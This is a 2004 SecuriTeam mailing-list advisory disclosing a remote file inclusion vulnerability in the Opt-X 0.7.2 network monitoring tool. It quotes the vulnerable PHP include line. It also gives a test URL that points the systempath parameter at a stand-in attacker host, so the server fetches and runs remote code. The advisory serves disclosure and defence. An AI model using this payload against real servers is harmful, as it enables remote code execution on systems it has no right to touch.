

[UNIX] Opt-X File Inclusion Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-02/0084.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 02/26/04

To: list@securiteam.com

Date: 26 Feb 2004 13:03:59 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Opt-X File Inclusion Vulnerability

SUMMARY

<<http://www.opt-x.org/>> Opt-X is "primarily a network monitoring tool for content/URLs and network services, but it also has some other functions such as, task list, server list, log changes for servers and a vendor list". A vulnerability in Opt-x allows an attacker to influence the include path for PHP scripts. This could be exploited to include a malicious script that is hosted on an attacker-controlled server. allowing for execution of arbitrary code in the context of the web server.

DETAILS

Vulnerable Systems:

* Opt-X version 0.7.2

There's a file inclusion vulnerability in the /includes/header.php file, line 57:

```
<?php include("'" . $systempath . "/includes/menu.php"); ?>
```

Is it possible for a remote attacker to include an external file and execute arbitrary commands with the privileges of the webserver (nobody by default).

Securiteam: [UNIX] Opt-X File Inclusion Vulnerability

To test the vulnerability try this:

http://vulnerablesite/path_of_optx/includes/header.php?systempath=http://attackersite/

In this way the file "<http://attackersite/includes/menu.php>" will be included and executed on the vulnerable server.

ADDITIONAL INFORMATION

The information has been provided by <mailto:g00db0y@zone-h.org> G00db0y from Zone-h Security Labs.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.